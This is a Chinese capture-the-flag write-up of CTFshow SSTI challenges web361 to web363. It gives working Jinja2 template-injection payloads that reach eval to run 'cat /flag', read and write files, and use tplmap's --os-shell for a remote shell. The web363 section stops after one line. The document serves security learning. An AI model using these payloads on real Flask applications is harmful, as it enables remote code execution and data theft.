【CTFSHOW】web入门 SSTI(更新中)

文章目录

    • 引言
    • web361
    • web362
    • web363
    • 参考资料

引言

刷完SSRF、XSS,来学学SSTI

web361

首先测试出get的参数名为:name。

记得之前刷题时保存过一张大佬总结的测试流程图:

【CTFSHOW】web入门 SSTI(更新中)_第1张图片

根据图片规则进行测试:

?name={{ 1*'4' }}

返回结果:4

则题目考察的很有可能是基于Jinja2的flask框架。

payload:

  • 对于python3:(题目使用的是python3)

使用popen函数:

?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

或者使用open函数直接打开文件:

?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }}{% endif %}{% endfor %}
  • 对于python2:(没有亲自试验过)
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read() }} // 读文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('./1.py').write() }} // 写文件 
  • tplmap:

当然,我们也可以使用tplmap扫描工具获取flag:

工具下载地址:

git clone https://github.com/epinna/tplmap

执行以下命令获取可使用的权限

python tplmap.py -u 'http://64153a9f-d2f7-464a-a1b7-b399f16a6cd6.challenge.ctf.show:8080/?name=1'

权限:

【CTFSHOW】web入门 SSTI(更新中)_第2张图片

添加 --os-shell 参数运行:

【CTFSHOW】web入门 SSTI(更新中)_第3张图片

得到flag:

SSTIweb361tplmapflag

web362

这题添加了过滤,tplmap工具显示无法注入。

但直接注还是可以的。

payload:

?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

web363

这次之前的payload都不管用了

参考资料

SSTI (服务器模板注入)

SSTI/沙盒逃逸详细总结

你可能感兴趣的:(CTFSHOW,python,flask,网络安全)